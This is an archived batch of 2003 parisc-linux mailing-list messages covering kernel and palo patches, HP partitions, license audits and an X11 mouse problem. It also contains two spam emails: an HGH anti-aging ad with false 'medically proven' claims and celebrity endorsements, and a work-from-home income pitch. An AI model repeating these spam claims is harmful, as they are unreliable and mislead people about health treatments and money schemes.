<body bgcolor=3D"#FFFFFF" text=3D"#000000" link=3D"#FF00FF" vlink=3D"#FF00=
FF" alink=3D"#FF00FF">
<center>A MEDICALLY PROVEN FACT:<br>HGH<br>replenishes what TIME has taken=
 away !<br>
  <br>
  Famous celebrities have been using HGH for decades.<br>
  You've seen these great looking people on TV they have to be in their 60=
's and 
  even 70's<br>
  THEY WEREN'T BORN THAT WAY!!<BR>Their skin is smooth and radiant, their =
hair is thick and lusterous, their figures are trim and lean.
  <br> 
  Cher, Rod Stewart, Dick Clark, Wayne Newton, David Copperfield, Dolly Pa=
rton,<br> 
  Bob Barker, Joe Namath, Elizabeth Taylor, Joan Collins, Raquel Welch, Ge=
orge 
  Burns, Bob Hope<br>These famous people well into their 50's and beyond l=
ook fantastic!<br>Some have added years to their lives with HGH!<br>
  <br>
    Time, stress, and aging.. REDUCE and EXHAUST the naturally occuring ho=
rmones 
    within our bodies.<br> The very hormones we need to remain youthful an=
d vibrant.<br><br>
  Your hair becomes dull brittle and thinner, your skin starts to wrinkle =
and 
  sag, you gain weight,<br>you lose energy always feel tired, your eyes lo=
se that healthy shine, you become forgetful and apathetic<br>These conditi=
ons can be stopped dead in their tracks---Even Improved !<br> You can now =
REPLENISH what time has taken away !<br><a href=3D"http://www.fisha.biz/hg=
h/?buster"><h2>HGH IS THIS WAY !</h2></a></center>
vbptpoy nv ntjl mg 
</body>
</html>
vl isjsq
edtj qsvdt
n ocqkxukvnqd xk
pffbyjwyhk 

--E.1.7C22..8D_.82_1029119--



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Fri, 19 Dec 2003 18:51:21 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20031220015121.GA30647__36177.9928360649$1416623070$gmane$org@colo.lackof.org>
References: <20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
	<20031219020352.GA16266@colo.lackof.org>
	<20031219032455.GB8847@MAIL.13thfloor.at>
	<20031219161134.GA24780@colo.lackof.org>
	<20031219170351.GB16572@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623070 3587 80.91.229.3 (22 Nov 2014 02:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:30 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Herbert Poetzl <herbert@13thfloor.at>
Original-X-From: grundler@lackof.org  Fri Dec 19 18:51:23 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 212EC484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 18:51:23 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6EF6B29803F; Fri, 19 Dec 2003 18:51:22 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 30392-07; Fri, 19 Dec 2003 18:51:21 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DB54D29803A; Fri, 19 Dec 2003 18:51:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031219170351.GB16572@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Dec 2003 01:51:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20446

On Fri, Dec 19, 2003 at 06:03:51PM +0100, Herbert Poetzl wrote:
> heard of it for HPUX, and it seems that XEN
> is somewhat compareable to that, but that didn't
> answer my question: are they available for Linux
> or 'just' for HPUX?

http://www.hp.com/products1/unix/operating/manageability/partitions/virtual_partitions.html

grant


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Sat, 20 Dec 2003 02:54:19 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20031220015419.GA22751__12740.2429389351$1416623070$gmane$org@MAIL.13thfloor.at>
References: <20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
	<20031219010035.GB7469@MAIL.13thfloor.at>
	<20031219020352.GA16266@colo.lackof.org>
	<20031219032455.GB8847@MAIL.13thfloor.at>
	<20031219161134.GA24780@colo.lackof.org>
	<20031219170351.GB16572@MAIL.13thfloor.at>
	<20031220015121.GA30647@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623070 3601 80.91.229.3 (22 Nov 2014 02:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:30 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: herbert@13thfloor.at  Fri Dec 19 18:54:23 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E1AD484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Dec 2003 18:54:23 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id BAED9510FC8; Sat, 20 Dec 2003 02:54:19 +0100 (CET)
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031220015121.GA30647@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Dec 2003 01:54:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20447

On Fri, Dec 19, 2003 at 06:51:21PM -0700, Grant Grundler wrote:
> On Fri, Dec 19, 2003 at 06:03:51PM +0100, Herbert Poetzl wrote:
> > heard of it for HPUX, and it seems that XEN
> > is somewhat compareable to that, but that didn't
> > answer my question: are they available for Linux
> > or 'just' for HPUX?
> 
> http://www.hp.com/products1/unix/operating/manageability/partitions/virtual_partitions.html

okay, so just for HPUX 11i and
Superdome, rp8400, rp7410, rp7405, rp7400, rp5470, rp5405.

thanks,
Herbert

> grant


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Evan Carrier" <u96urd@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Your position is confirmed qslgdd
Date: Sat, 20 Dec 03 09:06:15 GMT
Lines: 39
Approved: news@gmane.org
Message-ID: <v0-f-7-4vt90kdn7@o4g3futup>
Reply-To: Evan Carrier <u96urd@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="6F456B_AC_A7E__1_."
X-Trace: ger.gmane.org 1416623070 3602 80.91.229.3 (22 Nov 2014 02:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:30 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: u96urd@yahoo.com  Fri Dec 19 20:15:19 2003
Return-Path: <u96urd@yahoo.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bgp01116053bgs.westln01.mi.comcast.net
	(bgp01116053bgs.westln01.mi.comcast.net [68.42.101.172])
	by dsl2.external.hp.com (Postfix) with SMTP id 3DB8C484B
	for <parisc-linux@parisc-linux.org>;
	Fri, 19 Dec 2003 20:15:18 -0700 (MST)
Original-Received: from [41.224.83.211] by bgp01116053bgs.westln01.mi.comcast.net with
	ESMTP id <474941-38089>; Sat, 20 Dec 2003 09:06:15 +0600
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Dec 2003 03:15:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20448


--6F456B_AC_A7E__1_.
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Are interested in Working Full time at home?


If so just take one moment to see how you can start today.

http://www.ecom-universe.net/splash1/FF.htm

- No cold calling - No sales calls
- Put your computer to work
- No Boring Meetings to Attend.
- A Simple Turnkey System.
- You Can Earn Money Quickly.
- You will GET RESIDUAL INCOME Over And Over.
- Plus Great Support and Training.

This system really works..thousands are cashing in and you can to.

If this is something you have been wanting to do just take the test drive.=


http://www.ecom-universe.net/splash1/FF.htm

P.S. If I sent this to you by mistake just shoot me back an email and I wi=
ll take you off the list...but please remember we only make money if you d=
o and we NEED to make this work for you...let us know how we can help.

Best Regards,

Steve S.f  zeugdj
btys

--6F456B_AC_A7E__1_.--



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updated patch for palo to auto-detect serial mux.
Date: Sat, 20 Dec 2003 00:54:52 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <1071906891.11231.6.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-7BKU+oxglG0KcdtPizLS"
X-Trace: ger.gmane.org 1416623071 3611 80.91.229.3 (22 Nov 2014 02:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bame@debian.org
Original-X-From: rbradetich@uswest.net  Sat Dec 20 00:55:17 2003
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80DBE484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 00:55:16 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.230.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2C5CB2B10D; Sat, 20 Dec 2003 00:55:11 -0700 (MST)
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Dec 2003 07:55:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20449


--=-7BKU+oxglG0KcdtPizLS
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Paul,

My last palo patch had a bug in masking the sversion bits so palo
incorrectly determined the console on the E-35 was not a Mux.  I have
attached an interdiff patch between the new patch and my previous patch.

Thanks,

- Ryan


--=-7BKU+oxglG0KcdtPizLS
Content-Disposition: attachment; filename=palo-interdiff.diff
Content-Type: text/x-patch; name=palo-interdiff.diff; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 7bit

diff -u ipl/pdc_misc.c ipl/pdc_misc.c
--- ipl/pdc_misc.c	19 Dec 2003 03:39:41 -0000
+++ ipl/pdc_misc.c	20 Dec 2003 04:49:07 -0000
@@ -231,7 +231,7 @@
     int r;
     unsigned char hw_type;    /* 5  bits used */
     unsigned int sversion;    /* 20 bits used */
-    unsigned pdc_result2[64] __attribute__ ((aligned (8)));
+    unsigned long pdc_result2[32] __attribute__ ((aligned (8)));
 
     *is_mux = 0;
 
@@ -241,11 +241,11 @@
                 
     if (r >= 0)
     {
-        unsigned char iodc_data[32];
-        memcpy(&iodc_data, pdc_result2, 32);
+        unsigned char iodc_data[8];
+        memcpy(&iodc_data, pdc_result2, 8);
 
         hw_type = iodc_data[3] & 0x1f;
-        sversion = ((iodc_data[4] & 0x1f) << 16) | (iodc_data[5] << 8) | iodc_data[6];
+        sversion = ((iodc_data[4] & 0x0f) << 16) | (iodc_data[5] << 8) | iodc_data[6];
 
         if(hw_type == HPHW_A_DIRECT && sversion == MUX_SVERSION)
             *is_mux = 1;

--=-7BKU+oxglG0KcdtPizLS--



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] audit for copyright/license
Date: Sat, 20 Dec 2003 21:18:02 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20031221041802.GB12969@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623071 3615 80.91.229.3 (22 Nov 2014 02:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sat Dec 20 21:18:06 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BEAC4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 21:18:06 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AFCA3298044
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 21:18:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13227-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 21:18:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E9E2C298041; Sat, 20 Dec 2003 21:18:02 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 04:18:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20450

Hi all,
I noticed linux-2.6:arch/parisc/kernel/firmware.c didn't
have a license (eg GPL) to stipulate terms of distribution.
I'll add a GPL to it in my next patch.

Could someone review drivers/parisc, arch/parisc, and include/asm-parisc
for both copyright and redistribution license?

A first step is to post a list of file missing either item.
If there is a "standard format" for either item, it would be
good to know what it is and whether or not parisc specific
files are "close enough" (or not).

Willy,
I noticed Documentation/SubmittingDrivers makes no mention of copyright.
Perhaps the following should be added after "License:"?

Copyright:      The copyright owner must agree to use of the GPL.
                It's best if the submitter and copyright owner are the
		same person. If not, the entity whichs authorizes the
		use of GPL should list a contact in case it's necessary
		to verify the will of the copyright owner.

thanks,
grant


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DIFF 2.6.0-pa3 suckyio USB support
Date: Sat, 20 Dec 2003 22:10:41 -0700
Lines: 86
Approved: news@gmane.org
Message-ID: <20031221051041.GC12969@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623071 3620 80.91.229.3 (22 Nov 2014 02:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sat Dec 20 22:10:43 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE2E54852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:10:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6D9C2298044
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:10:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12997-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:10:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 38A5E298041; Sat, 20 Dec 2003 22:10:41 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 05:10:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20451

Hi all,
I finally figured out why suckyio USB was broken...lots of little things.
I still can't start X11 but it's likely some other issue (.config
file options likely - I'll post a seperate mail on that)

Diff is at:
	ftp://ftp.parisc-linux.org/patches/diff-2.6.0-suckyio-03

I don't have time to testing this on all variants (a500 and c3k 64-bit).
Please test, comment, and commit if it's looking good. I'll be around
a bit but not really available to commit a final version until after
christmas.

Comments on PCI Config space, diffstat, and comments on the diff follow.

FYA, the final problem was writes to PCI Configuration space.
PCI is by nature a 32-bit bus and byte writes to config space seems
to be broken. I'd like to blame suckyio for this but not sure I can.
It might be broken for all systems with LBA. Or maybe my proto-C3K
(v2.1 Elroys) is just broken. And I just sent my only other production
C3000 to someone who is having a very happy christmas...
Anyway, using 32-bit writes got everything working and seems safer.

grundler <514>diffstat ~/diff-2.6.0-suckyio-03 
 Makefile                         |    2 
 arch/parisc/kernel/firmware.c    |   63 +++++++++-
 arch/parisc/kernel/inventory.c   |   14 --
 drivers/net/tulip/media.c        |   10 +
 drivers/parisc/Kconfig           |    3 
 drivers/parisc/iosapic.c         |  154 ++++++++++++--------------
 drivers/parisc/iosapic_private.h |   20 +--
 drivers/parisc/sba_iommu.c       |   15 ++
 drivers/parisc/superio.c         |  231 +++++++++++++++++++--------------------
 include/asm-parisc/pci.h         |    1 
 include/asm-parisc/pdc.h         |    6 -
 include/asm-parisc/superio.h     |   42 ++++---
 12 files changed, 313 insertions(+), 248 deletions(-)

Here's a summary of changes:
o properly document the fact that SuckyIO uses INTD of the USB device
  to get the interrupt routine for "Legacy IO" devices.
  Restructured the hacks in iosapic_fixup_irq(), superio_fixup_irq() and
  superio_init() to make the initialization sequence a bit more obvious.

o simplify the suckyio serial_init() to use static initializers.
  Registering each port is really only three lines of code now.

o fix iosapic bug where two EIR bits where getting allocated in the
  case where two "devices" used the same iosapic IRQ line.
  Only one was actually used.
  Simple check midway down in iosapic_fixup_irq() takes care of that.

  The two functions of built-in SCSI 53c896 on C3000 exposed this bug.
  Both use INT A.
  Normally a multifuction device like 53c896 will use INT A and INT B.

o remove "vi_" prefix from iosapic vector fields.
  Code is a bit more readable now.
  (sorry - it itched really badly :^)

o moved pdc_io_reset_devices() call to sba code. It's only needed for
  SBA systems which are NOT PAT PDC. Does NOT interfere with serial
  or pdc console.

o added pdc_pci_config() accessor primitives but have not tested them.
  I thought I would need them but don't (yet). Left them in place
  in case someone cares to convert all the cruft in lba_pci.c
  to use PDC calls instead....PAT PDC has a different PDC interface
  but I can deal with that if someone takes care of "legacy PDC"
  systems.

o added gmmio_base field and advertise MMIO resources above 4GB on
  64-bit systems. Not well tested and may want to back this out
  if it even smells like a problem.

o updated comments tulip/media.c and reduce timeout in
  tulip_select_media() to 1ms.

o updated Kconfig help for unsupported CONFIG_PCI_EPIC (V-class only)

o added copyright notice to files I've touched.


enjoy!
grant


From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] can't open /dev/input/mice on c3000?
Date: Sat, 20 Dec 2003 22:46:05 -0700
Lines: 292
Approved: news@gmane.org
Message-ID: <20031221054605.GA14026@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623072 3623 80.91.229.3 (22 Nov 2014 02:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sat Dec 20 22:46:08 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 804724852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:46:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 11B79298045
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:46:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13840-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Dec 2003 22:46:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 64EE5298044; Sat, 20 Dec 2003 22:46:05 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 05:46:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20452

Hi all,
using the diff I just posted, I still can't fire up X11.
I do get parisc logo on the screen at boot.
fbset -i does indicate 1600x1200x8 and that matches
my XF86Config-4 file contents (nothing changed).

xserver can't open /dev/input/mice and it's not clear to me why not.
I have a USB Logitech "intellimouse" that seems to work fine
with 2.4.23 kernels.  2.6.0-pa3 (pre-release) finds the USB mouse.

I'd be interested in hearing if it works for someone else with
and c3000 or similar workstation.

Appended is XFree86.log file.

thanks,
grant


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.2.1.1 (Debian 4.2.1-12.1 20031003044442 root@sarti.debian.org) / X Window System
(protocol Version 11, revision 0, vendor release 6600)
Release Date: 18 October 2002
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/)
Build Operating System: Linux 2.4.20-64 parisc64 [ELF] 
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/XFree86.0.log", Time: Sat Dec 20 21:37:31 2003
(==) Using config file: "/etc/X11/XF86Config-4"
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Generic Keyboard"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc104"
(**) XKB: model: "pc104"
